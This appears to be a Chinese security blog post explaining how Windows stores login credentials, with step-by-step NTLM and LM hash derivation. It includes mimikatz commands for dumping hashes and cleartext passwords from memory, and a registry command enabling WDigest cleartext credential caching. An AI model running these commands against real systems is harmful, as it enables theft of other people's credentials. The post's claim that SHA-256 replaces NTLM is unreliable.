H系列 - Windows系统的账号密码

你还拥有多少,你还在乎多少。

  • 系统 – windows 10;

  • Windows登录流程

  • 账号密码文件的存储位置 – C:\Windows\System32\config\SAM(存储本地所有用户的凭证信息);

  • 通过使用 mimikatz.exe 工具可以读取SAM文件;

  • SAM文件部分内容样例;
    RID : 000001f4
    User :Administrator
    Hash NTLM : 570a9a65db8fba761c1008a51d4c95ab
    
  • 百度搜索MD5解密,找个解密网站还原密码明文;

  • NTLM-HASH 介绍
NTLM(Windows NT Lan Manager)哈希是一种用于进行密码验证的加密散列函数,通常在Windows操作系统中使用。它用于在网络中验证用户的身份,并且在早期版本的Windows中广泛使用,但在现代环境中逐渐被更强大和安全性更高的哈希算法取代,如NTLMv2和Kerberos。

NTLM哈希的工作原理如下:

密码哈希化:当用户设置密码时,操作系统将密码转换为一个固定长度的哈希值,即NTLM哈希。这个哈希值是用户密码的散列,无法逆向还原为原始密码。

挑战-响应协议:在进行身份验证时,服务器将生成一个随机的挑战(challenge),并将其发送给客户端。客户端使用其存储的NTLM哈希值对挑战进行哈希化,并将结果发送回服务器。

服务器验证:服务器收到客户端发送的哈希值,使用存储在服务器上的用户的NTLM哈希值进行同样的哈希运算,然后比较两个哈希值是否匹配。如果匹配,则用户被验证成功。

需要注意的是,NTLM哈希算法在安全性方面存在一些问题。它容易受到彩虹表攻击(通过预先计算可能的哈希值并与数据库中的哈希值进行匹配),并且相对较容易破解。由于这些安全隐患,现代网络安全标准更倾向于使用更安全的哈希算法,如SHA-256或SHA-512,并使用更复杂的身份验证机制,如Kerberos。

总之,NTLM哈希是一种早期的密码散列算法,虽然曾经在Windows系统中广泛使用,但现在已被更安全的方法所取代。
  • NTLM-HASH 加密原理
1,明文密码:Admin@123
2,将明文转为十六进制格式:41646D696E40313233
3,将十六进制转为Unicode格式(每位后面加两个0):410064006D0069006E004000310032003300
4,将Unicode字符串进行MD4加密:570a9a65db8fba761c1008a51d4c95ab
  • 通过使用 mimikatz.exe 工具可以读取内存数据,下图为win7截图,win10看不到password明文密码;
mimikatz.exe
privilege::debug
sekurlsa::logonPasswords

  • LM-HASH 介绍

  • LM-HASH 加密原理

1,明文密码:Admin@123
2,将明文转为大写:ADMIN@123
3,转为十六进制格式:41444D494E40313233
4,不足14字节(28位)用0补全:41444D494E403132330000000000
5,分两组  
a组:41444D494E4031
b组:32330000000000
6,将每组的十六进制转为二进制
a组:01000001010001000100110101001001010011100100000000110001
b组:00110010001100110000000000000000000000000000000000000000
7,每七个后面加一个0
a组:01000000 10100010 00010010 10101000 10010100 01110010 00000000 01100010
b组:00110010 00011000 11000000 00000000 00000000 00000000 00000000 00000000
a组:0100000010100010000100101010100010010100011100100000000001100010
b组:0011001000011000110000000000000000000000000000000000000000000000
8,再转为十六进制
a组:40A212A894720062
b组:3218C00000000000
9,做DES加密,
使用固定明文 4B47532140232425 (KGS!@#$% 的十六进制数据)对两组数据进行DES加密
a组:6F08D7B306B1DAD4
b组:B75E0C8D76954A50
拼接即得LM-HASH:6F08D7B306B1DAD4B75E0C8D76954A50



  • win10 如何查看内存明文密码?在cmd(管理员运行 C:\Windows\System32\cmd.exe)中修改注册表信息,重启再抓取即可。
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f









转载请注明:劉清揚的博客 » H系列 - Windows系统的账号密码